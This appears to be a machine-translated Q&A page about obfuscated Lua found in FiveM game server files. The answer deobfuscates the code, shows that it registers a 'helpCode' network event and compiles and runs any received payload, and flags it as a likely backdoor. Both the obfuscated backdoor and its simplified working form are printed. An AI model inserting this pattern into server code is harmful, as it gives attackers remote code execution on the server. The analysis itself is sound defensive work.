这行Lua代码是否包含任何恶意活动?

问题描述 投票:0回答:2

因此,在查看朋友发给我的一些服务器文件(FiveM/GTA RP 服务器文件)时,我发现一行代码遍布服务器的资源,是恶意的吗?因为我检查了“十六进制到 ASCII 文本字符串” Converter”,看起来可能是尝试向 Lua 环境中注入一些代码。该代码创建一个包含多个以十六进制格式编码的字符串的表。然后,这些字符串用于访问全局环境 (_G) 中的元素并将它们作为函数调用。该代码还为“load”事件设置了一个事件侦听器,这可能表明该代码打算在环境中发生特定事件时运行。

代码:

本地 ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\ x74","\x68\x65\x6c\x70\ x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\ x65\x72\x74","\x6c\x6f\x61\x64",_G} ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[1] ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[3]](ysoGcfkd gEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2], 函数(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZwIDtHyn) ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]() 结束)本地

ASCII Text to Hex Code Converter
Image

ASCII Text to Hex Code Converter
Response 2

lua virus fivem
2个回答
5
投票

ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG
只是一个变量名。这不是一个很好的名字,但它只是一个变量名。

{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}

是桌子:

{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}

字节编码为十六进制字节而不是文字字符。

这可以消除混淆:

local funcs = {
    "RegisterNetEvent",
    "helpCode",
    "AddEventHandler",
    "assert",
    "load",
    _G
};

funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
    (funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);

Lua 中的表是 1 索引的,因此这进一步反混淆了

_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
    (_G["assert"](_G["load"](param)))();
end);

并且可以简化为

RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
    assert(load(param))()
end)

虽然它看起来并不是公然恶意,但它确实似乎直接编译和调用通过“helpCode”网络事件接收到的原始代码,如果被恶意使用,这肯定是“危险”的。这可能是一些有趣的动态插件系统的一部分,但同样有可能它是一个后门,旨在为网络攻击者提供对该过程的命令和控制。

load

不是一个事件,而是用于从字符串编译代码的全局函数。本质上,它会导致脚本监听

helpCode
网络事件,从网络事件接收任何有效负载,将其编译为 Lua 代码,然后执行它。鉴于它甚至没有尝试对
load
代码进行任何沙箱处理,如果没有非常全面地了解它的使用方式,我不会运行它。
    


0
投票

© www.soinside.com 2019 - 2024. All rights reserved.